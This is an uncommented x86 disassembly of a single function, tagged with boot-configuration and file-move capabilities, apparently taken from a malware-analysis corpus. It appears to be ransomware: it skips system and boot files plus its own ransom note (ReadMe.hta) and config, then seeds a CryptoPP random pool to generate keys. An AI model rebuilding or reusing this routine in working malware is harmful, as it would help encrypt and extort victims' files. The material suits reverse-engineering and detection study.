Function at 0x40f5e0
Capabilities:
Manipulate boot configuration
Move file

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d6518
mov eax, dword fs:[0]
push eax
push ecx
push ebx
sub esp, 0x4c0
mov eax, dword [0x51f164]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, ecx
mov dword [ebp - 0x44], esi
xor eax, eax
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x3b4], eax
mov dword [ebp - 4], eax
push esi
mov byte [ebp - 0x3ad], al
call fcn.004312d0
mov byte [ebp - 4], 1
lea eax, [ebp - 0x64]
push dword [ebp - 0x44]
cmp dword [ebp - 0x50], 8
mov edi, dword [ebp - 0x64]
push 2
push 0x4fb058
push 0xffffffffffffffff
push dword [ebp - 0x54]
cmovae eax, edi
push eax
call fcn.0043b790
add esp, 0x18
cmp eax, 0xffffffff
je 0x40f6b0
lea edx, [eax + 1]
mov eax, dword [ebp - 0x54]
cmp eax, edx
mov dword [ebp - 0x21c], edx
mov dword [ebp - 0x468], eax
lea ecx, [ebp - 0x64]
cmovb edx, eax
cmp dword [ebp - 0x50], 8
cmovae ecx, edi
sub eax, edx
mov dword [ebp - 0x54], eax
lea eax, [eax*2 + 2]
push eax
lea eax, [ecx + edx*2]
push eax
push ecx
call fcn.004a8400
mov edi, dword [ebp - 0x64]
add esp, 0xc
mov eax, dword [ebp - 0x50]
lea ecx, [ebp - 0x64]
mov edx, dword [ebp - 0x54]
cmp eax, 8
cmovae ecx, edi
mov dword [ebp - 0x40], ecx
cmp edx, 9
jne 0x40f700
mov eax, dword [ebp - 0x40]
mov ecx, str.S_inf.sys
sub eax, ecx
mov dword [ebp - 0x3ac], edx
mov dword [ebp - 0x40], eax
nop word [eax + eax]
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x40f6fd
mov eax, dword [ebp - 0x40]
add ecx, 2
sub dword [ebp - 0x3ac], 1
jne 0x40f6e0
jmp 0x40fc87
mov eax, dword [ebp - 0x50]
cmp eax, 8
lea ecx, [ebp - 0x64]
cmovae ecx, edi
mov dword [ebp - 0x40], ecx
cmp edx, 0xa
jne 0x40f744
mov eax, dword [ebp - 0x40]
mov ecx, str.S_2153.bat
sub eax, ecx
mov dword [ebp - 0x3ac], edx
mov dword [ebp - 0x40], eax
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x40f741
mov eax, dword [ebp - 0x40]
add ecx, 2
sub dword [ebp - 0x3ac], 1
jne 0x40f724
jmp 0x40fc87
mov eax, dword [ebp - 0x50]
cmp eax, 8
lea ecx, [ebp - 0x64]
cmovae ecx, edi
mov dword [ebp - 0x40], ecx
cmp edx, 0xa
jne 0x40f790
mov eax, dword [ebp - 0x40]
mov ecx, str.S_8459.vbs
sub eax, ecx
mov dword [ebp - 0x3ac], edx
mov dword [ebp - 0x40], eax
nop dword [eax + eax]
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x40f78d
mov eax, dword [ebp - 0x40]
add ecx, 2
sub dword [ebp - 0x3ac], 1
jne 0x40f770
jmp 0x40fc87
mov eax, dword [ebp - 0x50]
cmp eax, 8
lea ecx, [ebp - 0x64]
cmovae ecx, edi
mov dword [ebp - 0x40], ecx
cmp edx, 0xa
jne 0x40f7d4
mov eax, dword [ebp - 0x40]
mov ecx, str.S_6748.bat
sub eax, ecx
mov dword [ebp - 0x3ac], edx
mov dword [ebp - 0x40], eax
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x40f7d1
mov eax, dword [ebp - 0x40]
add ecx, 2
sub dword [ebp - 0x3ac], 1
jne 0x40f7b4
jmp 0x40fc87
mov eax, dword [ebp - 0x50]
cmp eax, 8
lea ecx, [ebp - 0x64]
cmovae ecx, edi
mov dword [ebp - 0x40], ecx
cmp edx, 0xa
jne 0x40f820
mov eax, dword [ebp - 0x40]
mov ecx, str.N_Save.sys
sub eax, ecx
mov dword [ebp - 0x3ac], edx
mov dword [ebp - 0x40], eax
nop dword [eax + eax]
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x40f81d
mov eax, dword [ebp - 0x40]
add ecx, 2
sub dword [ebp - 0x3ac], 1
jne 0x40f800
jmp 0x40fc87
mov eax, dword [ebp - 0x50]
cmp eax, 8
lea ecx, [ebp - 0x64]
cmovae ecx, edi
mov dword [ebp - 0x40], ecx
cmp edx, 0xa
jne 0x40f864
mov eax, dword [ebp - 0x40]
mov ecx, str.ReadMe.hta
sub eax, ecx
mov dword [ebp - 0x3ac], edx
mov dword [ebp - 0x40], eax
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x40f861
mov eax, dword [ebp - 0x40]
add ecx, 2
sub dword [ebp - 0x3ac], 1
jne 0x40f844
jmp 0x40fc87
mov eax, dword [ebp - 0x50]
cmp eax, 8
lea ecx, [ebp - 0x64]
cmovae ecx, edi
mov dword [ebp - 0x40], ecx
cmp edx, 6
jne 0x40f8b0
mov eax, dword [ebp - 0x40]
mov ecx, str.io.sys
sub eax, ecx
mov dword [ebp - 0x3ac], edx
mov dword [ebp - 0x40], eax
nop dword [eax + eax]
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x40f8ad
mov eax, dword [ebp - 0x40]
add ecx, 2
sub dword [ebp - 0x3ac], 1
jne 0x40f890
jmp 0x40fc87
mov eax, dword [ebp - 0x50]
cmp eax, 8
lea ecx, [ebp - 0x64]
cmovae ecx, edi
mov dword [ebp - 0x40], ecx
cmp edx, 0xc
jne 0x40f8f4
mov eax, dword [ebp - 0x40]
mov ecx, str.ntdetect.com
sub eax, ecx
mov dword [ebp - 0x3ac], edx
mov dword [ebp - 0x40], eax
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x40f8f1
mov eax, dword [ebp - 0x40]
add ecx, 2
sub dword [ebp - 0x3ac], 1
jne 0x40f8d4
jmp 0x40fc87
mov eax, dword [ebp - 0x50]
cmp eax, 8
lea ecx, [ebp - 0x64]
cmovae ecx, edi
mov dword [ebp - 0x40], ecx
cmp edx, 5
jne 0x40f940
mov eax, dword [ebp - 0x40]
mov ecx, str.ntldr
sub eax, ecx
mov dword [ebp - 0x3ac], edx
mov dword [ebp - 0x40], eax
nop dword [eax + eax]
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x40f93d
mov eax, dword [ebp - 0x40]
add ecx, 2
sub dword [ebp - 0x3ac], 1
jne 0x40f920
jmp 0x40fc87
mov eax, dword [ebp - 0x50]
cmp eax, 8
lea ecx, [ebp - 0x64]
cmovae ecx, edi
mov dword [ebp - 0x40], ecx
cmp edx, 9
jne 0x40f984
mov eax, dword [ebp - 0x40]
mov ecx, str.thumbs.db
sub eax, ecx
mov dword [ebp - 0x3ac], edx
mov dword [ebp - 0x40], eax
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x40f981
mov eax, dword [ebp - 0x40]
add ecx, 2
sub dword [ebp - 0x3ac], 1
jne 0x40f964
jmp 0x40fc87
mov eax, dword [ebp - 0x50]
cmp eax, 8
lea ecx, [ebp - 0x64]
cmovae ecx, edi
mov dword [ebp - 0x40], ecx
cmp edx, 0xb
jne 0x40f9d0
mov eax, dword [ebp - 0x40]
mov ecx, str.autorun.inf
sub eax, ecx
mov dword [ebp - 0x3ac], edx
mov dword [ebp - 0x40], eax
nop dword [eax + eax]
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x40f9cd
mov eax, dword [ebp - 0x40]
add ecx, 2
sub dword [ebp - 0x3ac], 1
jne 0x40f9b0
jmp 0x40fc87
mov eax, dword [ebp - 0x50]
cmp eax, 8
lea ecx, [ebp - 0x64]
cmovae ecx, edi
mov dword [ebp - 0x40], ecx
cmp edx, 0xa
jne 0x40fa14
mov eax, dword [ebp - 0x40]
mov ecx, str.ntuser.dat
sub eax, ecx
mov dword [ebp - 0x3ac], edx
mov dword [ebp - 0x40], eax
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x40fa11
mov eax, dword [ebp - 0x40]
add ecx, 2
sub dword [ebp - 0x3ac], 1
jne 0x40f9f4
jmp 0x40fc87
mov eax, dword [ebp - 0x50]
cmp eax, 8
lea ecx, [ebp - 0x64]
cmovae ecx, edi
mov dword [ebp - 0x40], ecx
cmp edx, 0xc
jne 0x40fa60
mov eax, dword [ebp - 0x40]
mov ecx, str.bootfont.bin
sub eax, ecx
mov dword [ebp - 0x3ac], edx
mov dword [ebp - 0x40], eax
nop dword [eax + eax]
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x40fa5d
mov eax, dword [ebp - 0x40]
add ecx, 2
sub dword [ebp - 0x3ac], 1
jne 0x40fa40
jmp 0x40fc87
mov eax, dword [ebp - 0x50]
cmp eax, 8
lea ecx, [ebp - 0x64]
cmovae ecx, edi
mov dword [ebp - 0x40], ecx
cmp edx, 0x16
jne 0x40faa4
mov eax, dword [ebp - 0x40]
mov ecx, 0x4ff8b0
sub eax, ecx
mov dword [ebp - 0x3ac], edx
mov dword [ebp - 0x40], eax
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x40faa1
mov eax, dword [ebp - 0x40]
add ecx, 2
sub dword [ebp - 0x3ac], 1
jne 0x40fa84
jmp 0x40fc87
mov eax, dword [ebp - 0x50]
cmp eax, 8
lea ecx, [ebp - 0x64]
cmovae ecx, edi
mov dword [ebp - 0x40], ecx
cmp edx, 0xd
jne 0x40faf0
mov eax, dword [ebp - 0x40]
mov ecx, str.Xinfecter.exe
sub eax, ecx
mov dword [ebp - 0x3ac], edx
mov dword [ebp - 0x40], eax
nop dword [eax + eax]
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x40faed
mov eax, dword [ebp - 0x40]
add ecx, 2
sub dword [ebp - 0x3ac], 1
jne 0x40fad0
jmp 0x40fc87
mov eax, dword [ebp - 0x50]
cmp eax, 8
lea ecx, [ebp - 0x64]
cmovae ecx, edi
mov dword [ebp - 0x40], ecx
cmp edx, 7
jne 0x40fb34
mov eax, dword [ebp - 0x40]
mov ecx, str.bootmgr
sub eax, ecx
mov dword [ebp - 0x3ac], edx
mov dword [ebp - 0x40], eax
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x40fb31
mov eax, dword [ebp - 0x40]
add ecx, 2
sub dword [ebp - 0x3ac], 1
jne 0x40fb14
jmp 0x40fc87
mov eax, dword [ebp - 0x50]
cmp eax, 8
lea ecx, [ebp - 0x64]
cmovae ecx, edi
mov dword [ebp - 0x40], ecx
cmp edx, 0xb
jne 0x40fb80
mov eax, dword [ebp - 0x40]
mov ecx, str.SysMain.sys
sub eax, ecx
mov dword [ebp - 0x3ac], edx
mov dword [ebp - 0x40], eax
nop dword [eax + eax]
mov ax, word [eax + ecx]
cmp ax, word [ecx]
jne 0x40fb7d
mov eax, dword [ebp - 0x40]
add ecx, 2
sub dword [ebp - 0x3ac], 1
jne 0x40fb60
jmp 0x40fc87
mov eax, dword [ebp - 0x50]
cmp eax, 8
lea ecx, [ebp - 0x64]
cmovae ecx, edi
mov dword [ebp - 0x40], ecx
cmp edx, 0xb
jne 0x40fbc4
mov eax, dword [ebp - 0x40]
mov ecx, str.desktop.ini
sub eax, ecx
mov dword [ebp - 0x3ac], edx
mov dword [ebp - 0x40], eax
mov ax, word [eax + ecx]
cmp ax, word [ecx]
jne 0x40fbc1
mov eax, dword [ebp - 0x40]
add ecx, 2
sub dword [ebp - 0x3ac], 1
jne 0x40fba4
jmp 0x40fc87
mov eax, dword [ebp - 0x50]
cmp eax, 8
lea ecx, [ebp - 0x64]
cmovae ecx, edi
mov dword [ebp - 0x40], ecx
cmp edx, 0xc
jne 0x40fc0d
mov eax, dword [ebp - 0x40]
mov ecx, str.BOOTSECT.BAK
sub eax, ecx
mov dword [ebp - 0x3ac], edx
mov dword [ebp - 0x40], eax
nop dword [eax + eax]
mov ax, word [eax + ecx]
cmp ax, word [ecx]
jne 0x40fc0a
mov eax, dword [ebp - 0x40]
add ecx, 2
sub dword [ebp - 0x3ac], 1
jne 0x40fbf0
jmp 0x40fc87
mov eax, dword [ebp - 0x50]
cmp eax, 8
lea ecx, [ebp - 0x64]
cmovae ecx, edi
mov dword [ebp - 0x40], ecx
cmp edx, 8
jne 0x40fc4e
mov eax, dword [ebp - 0x40]
mov ecx, str.boot.ini
sub eax, ecx
mov dword [ebp - 0x3ac], edx
mov dword [ebp - 0x40], eax
mov ax, word [eax + ecx]
cmp ax, word [ecx]
jne 0x40fc4b
mov eax, dword [ebp - 0x40]
add ecx, 2
sub dword [ebp - 0x3ac], 1
jne 0x40fc31
jmp 0x40fc87
mov eax, dword [ebp - 0x50]
cmp eax, 8
lea eax, [ebp - 0x64]
cmovae eax, edi
cmp edx, 9
jne 0x40fcc7
mov ecx, str.R_cfg.ini
sub eax, ecx
mov dword [ebp - 0x3b8], eax
nop dword [eax]
mov ax, word [eax + ecx]
cmp ax, word [ecx]
jne 0x40fcc7
mov eax, dword [ebp - 0x3b8]
add ecx, 2
sub edx, 1
jne 0x40fc70
mov eax, dword [ebp - 0x50]
cmp eax, 8
jb 0x411b60
lea ecx, [eax*2 + 2]
mov eax, edi
cmp ecx, 0x1000
jb 0x40fcb8
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411bab
push ecx
push edi
call fcn.00490c3c
add esp, 8
jmp 0x411b60
cmp byte [0x5200e9], 0
jne 0x4102dc
push str.__ID_
mov edx, esi
lea ecx, [ebp - 0x480]
call fcn.00439b40
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 2
mov eax, 0x51fce8
cmp dword [0x51fcfc], 8
push dword [0x51fcf8]
cmovae eax, dword [0x51fce8]
push eax
call fcn.004380d0
mov dword [ebp - 0x438], 0
xor ecx, ecx
mov dword [ebp - 0x434], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x448], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x438], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 6
push 0x4ff968
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 3
call fcn.004380d0
mov dword [ebp - 0x420], 0
xor ecx, ecx
mov dword [ebp - 0x41c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x430], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x420], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x430]
cmp dword [0x51fc44], 8
mov eax, 0x51fc30
push dword [0x51fc40]
cmovae eax, dword [0x51fc30]
push eax
call fcn.004380d0
mov dword [ebp - 0x408], 0
xor ecx, ecx
mov dword [ebp - 0x404], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x418], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x408], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 1
push 0x4ff964
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 5
call fcn.004380d0
mov dword [ebp - 0x3f0], 0
xor ecx, ecx
mov dword [ebp - 0x3ec], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x400], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x3f0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 6
mov eax, 0x51fdb8
cmp dword [0x51fdcc], 8
push dword [0x51fdc8]
cmovae eax, dword [0x51fdb8]
push eax
lea ecx, [ebp - 0x400]
call fcn.004380d0
mov dword [ebp - 0x94], 0
xor ecx, ecx
mov dword [ebp - 0x90], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xa4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x94], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov dword [ebp - 0x3b4], 0x1f
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x3ec]
cmp edx, 8
jb 0x40ff10
mov ecx, dword [ebp - 0x400]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40ff06
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411b7e
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x3f0], 0
mov dword [ebp - 0x3ec], 7
mov word [ebp - 0x400], ax
mov byte [ebp - 4], 9
mov edx, dword [ebp - 0x404]
cmp edx, 8
jb 0x40ff71
mov ecx, dword [ebp - 0x418]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40ff67
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411b7e
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x408], 0
mov dword [ebp - 0x404], 7
mov word [ebp - 0x418], ax
mov byte [ebp - 4], 0xa
mov edx, dword [ebp - 0x41c]
cmp edx, 8
jb 0x40ffd2
mov ecx, dword [ebp - 0x430]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40ffc8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411b7e
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x420], 0
mov dword [ebp - 0x41c], 7
mov word [ebp - 0x430], ax
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x434]
cmp edx, 8
jb 0x410033
mov ecx, dword [ebp - 0x448]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x410029
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411b7e
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x438], 0
mov dword [ebp - 0x434], 7
mov word [ebp - 0x448], ax
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x46c]
cmp edx, 8
jb 0x410094
mov ecx, dword [ebp - 0x480]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41008a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411b7e
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x470], 0
cmp dword [ebp - 0x90], 8
mov ecx, esi
mov word [ebp - 0x480], ax
lea eax, [ebp - 0xa4]
cmovae eax, dword [ebp - 0xa4]
cmp dword [esi + 0x14], 8
mov dword [ebp - 0x46c], 7
jb 0x4100cf
mov ecx, dword [esi]
push eax
push ecx
call fcn.004b59c6
add esp, 8
test eax, eax
je 0x410255
mov byte [ebp - 4], 0xd
xor eax, eax
xor ecx, ecx
mov word [ebp - 0x3d0], ax
mov eax, dword [esi + 0x10]
add eax, dword [0x51fdc8]
mov dword [ebp - 0x3c0], 0
setb cl
mov dword [ebp - 0x3bc], 7
neg ecx
mov dword [ebp - 0x3b4], 0x3f
or ecx, eax
push ecx
lea ecx, [ebp - 0x3d0]
call fcn.00430f10
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x410134
mov eax, dword [esi]
push dword [esi + 0x10]
lea ecx, [ebp - 0x3d0]
push eax
call fcn.004380d0
cmp dword [0x51fdcc], 8
lea ecx, [ebp - 0x3d0]
push dword [0x51fdc8]
mov eax, 0x51fdb8
cmovae eax, dword [0x51fdb8]
push eax
call fcn.004380d0
mov edx, dword [ebp - 0x90]
cmp edx, 8
jb 0x4101a8
mov ecx, dword [ebp - 0xa4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41019e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411b83
push edx
push ecx
call fcn.00490c3c
add esp, 8
movups xmm1, xmmword [ebp - 0x3d0]
lea ecx, [ebp - 0xa4]
xor eax, eax
movq xmm0, qword [ebp - 0x3c0]
mov byte [ebp - 4], 0xc
mov word [ebp - 0x3d0], ax
movd eax, xmm1
movq qword [ebp - 0x94], xmm0
cmp dword [ebp - 0x90], 8
movups xmmword [ebp - 0xa4], xmm1
cmovae ecx, eax
mov dword [ebp - 0x3c0], 0
cmp dword [esi + 0x14], 8
mov eax, esi
mov dword [ebp - 0x3bc], 7
jb 0x410205
mov eax, dword [esi]
push ecx
push eax
mov dword [ebp - 0x3b4], 0x1f
call fcn.004b59c6
add esp, 8
test eax, eax
je 0x410255
lea eax, [ebp - 0xa4]
mov dword [ebp - 0x3b4], 0x1f
cmp eax, esi
je 0x41027b
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x41023b
mov eax, dword [esi]
push dword [esi + 0x10]
lea ecx, [ebp - 0xa4]
push eax
call fcn.00436c20
mov eax, 0x1f
mov dword [ebp - 0x3b4], eax
lea eax, [ebp - 0xa4]
cmp esi, eax
je 0x41027b
cmp dword [ebp - 0x90], 8
mov ecx, esi
push dword [ebp - 0x94]
cmovae eax, dword [ebp - 0xa4]
push eax
call fcn.00436c20
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x90]
cmp edx, 8
jb 0x4102bf
mov ecx, dword [ebp - 0xa4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4102b5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411b83
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x90], 7
mov word [ebp - 0xa4], ax
push 0x80
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.004a8980
add esp, 0xc
lea ecx, [ebp - 0x218]
call fcn.0046e660
push 0x20
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x218]
push 0
mov dword [ebp - method.CryptoPP::AutoSeededRandomPool.virtual_0], vtable.CryptoPP::AutoSeededRandomPool.0
call fcn.00464900
xorps xmm0, xmm0
mov byte [ebp - 4], 0xf
movups xmmword [ebp - 0x8c], xmm0
push 0x20
mov dword [ebp - 0x88], 0xffffffff
mov dword [ebp - 0x84], 0x20
call fcn.00467f30
add esp, 4
mov dword [ebp - 0x80], eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x218]
push dword [ebp - 0x84]
push eax
call fcn.00445ab0
push 0x20
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x218]
call fcn.00445ab0
push dword [ebp - 0x84]
lea ecx, [ebp - 0xd4]
mov dword [ebp - 0xc4], 0
push dword [ebp - 0x80]
mov dword [ebp - 0xc0], 0xf
mov byte [ebp - 0xd4], 0
call fcn.00431800
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x3c]
push 0x20
push eax
lea ecx, [ebp - 0xbc]
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 0xf
mov byte [ebp - 0xbc], 0
call fcn.00431800
push 0xc0
lea eax, [ebp - 0x2e8]
mov byte [ebp - 4], 0x13
push 0
push eax
call fcn.004a8980
add esp, 4
lea ecx, [ebp - 0x2e8]
push 0x27
push esi
call fcn.004337b0
sub esp, 0xc
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x2d8]
call fcn.004348d0
lea eax, [ebp - 0x4d0]
push eax
lea ecx, [ebp - 0x2e8]
call fcn.00434a00
mov edi, dword [eax + 8]
add edi, dword [eax]
mov ecx, dword [eax + 0xc]
mov edx, edi
adc ecx, dword [eax + 4]
mov dword [ebp - 0x3b8], edi
mov dword [ebp - 0x3ac], ecx
add edx, 0xfffffffe
mov eax, ecx
adc eax, 0xffffffff
test eax, eax
ja 0x41052e
jb 0x41044f
cmp edx, 0x1d
ja 0x41052e
push 0xc0
lea eax, [ebp - 0x3a8]
push 0
push eax
call fcn.004a8980
add esp, 4
lea ecx, [ebp - 0x3a8]
push 0x27
push esi
call fcn.004337b0
sub esp, 0xc
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x398]
call fcn.004348d0
mov edx, str.nqpso5938fh71jfu
lea ecx, [ebp - 0x398]
call fcn.00439130
cmp dword [ebp - 0x344], 0
jne 0x4104a7
mov dword [ebp - 0x40], 0
jmp 0x4104dd
lea ecx, [ebp - 0x390]
call fcn.00437930
push dword [ebp - 0x344]
xor ecx, ecx
test al, al
lea eax, [ebp - 0x390]
cmove eax, ecx
mov dword [ebp - 0x40], eax
call fcn.004b1daa
xor ecx, ecx
add esp, 4
test eax, eax
mov eax, dword [ebp - 0x40]
cmovne eax, ecx
mov dword [ebp - 0x40], eax
push 2
push 0
lea ecx, [ebp - 0x390]
call fcn.00437a00
cmp dword [ebp - 0x40], 0
jne 0x41051d
mov eax, dword [ebp - 0x3a8]
lea ecx, [ebp - 0x3a8]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x3a8]
call fcn.0040b040
mov ecx, dword [ebp - 0x3ac]
mov eax, edi
and eax, ecx
cmp eax, 0xffffffff
je 0x4119e1
mov eax, edi
or eax, ecx
je 0x4119e1
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd8], 0xf
mov byte [ebp - 0xec], 0
push 1
push 0x4fb048
lea ecx, [ebp - 0xec]
mov byte [ebp - 4], 0x17
call fcn.00431800
cmp dword [ebp - 0xd8], 0x10
lea edx, [ebp - 0xec]
push dword [ebp - 0xdc]
cmovae edx, dword [ebp - 0xec]
lea ecx, [ebp - 0x2d8]
call fcn.0043e990
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x4107ff
cmp dword [ebp - 0x284], 0
lea esi, [ebp - 0x2d0]
jne 0x4105c1
xor esi, esi
jmp 0x4105e8
lea ecx, [ebp - 0x2d0]
call fcn.00437930
push dword [ebp - 0x284]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.004b1daa
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x2d0]
call fcn.00437a00
test esi, esi
jne 0x410625
mov eax, dword [ebp - 0x2e8]
lea ecx, [ebp - 0x2e8]
push esi
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
mov byte [ebp - 4], 0x14
mov edx, dword [ebp - 0xd8]
cmp edx, 0x10
jb 0x410663
mov ecx, dword [ebp - 0xec]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410659
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411bab
push edx
push ecx
call fcn.00490c3c
add esp, 8
lea ecx, [ebp - 0x2e8]
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd8], 0xf
mov byte [ebp - 0xec], 0
call fcn.0040b040
mov byte [ebp - 4], 0x12
mov edx, dword [ebp - 0xa8]
cmp edx, 0x10
jb 0x4106c7
mov ecx, dword [ebp - 0xbc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4106bd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411bab
push edx
push ecx
call fcn.00490c3c
add esp, 8
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0xc0]
cmp edx, 0x10
jb 0x410705
mov ecx, dword [ebp - 0xd4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4106fb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411bab
push edx
push ecx
call fcn.00490c3c
add esp, 8
mov byte [ebp - 4], 0x18
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x84]
cmp eax, ecx
mov edx, dword [ebp - 0x80]
mov edi, edx
cmovb ecx, eax
xor al, al
rep stosb byte es:[edi], al
push edx
call fcn.00467f90
mov ecx, dword [ebp - 0x1a0]
add esp, 4
mov dword [ebp - method.CryptoPP::AutoSeededRandomPool.virtual_0], vtable.CryptoPP::AutoSeededRandomPool.0
test ecx, ecx
je 0x410746
mov eax, dword [ecx]
push 1
call dword [eax]
mov ecx, dword [ebp - 0x1ac]
lea eax, [ebp - 0x1e0]
cmp dword [ebp - 0x1b0], ecx
lea edi, [ebp - 0x1e0]
cmovb ecx, dword [ebp - 0x1b0]
neg eax
and eax, 0xf
add eax, edi
mov edi, dword [ebp - 0x1a8]
cmp edi, eax
jne 0x410781
xor al, al
mov byte [ebp - 0x1b7], 0
rep stosb byte es:[edi], al
mov ecx, dword [ebp - 0x1ec]
lea eax, [ebp - 0x210]
cmp dword [ebp - 0x1f0], ecx
lea edi, [ebp - 0x210]
cmovb ecx, dword [ebp - 0x1f0]
neg eax
and eax, 0xf
add eax, edi
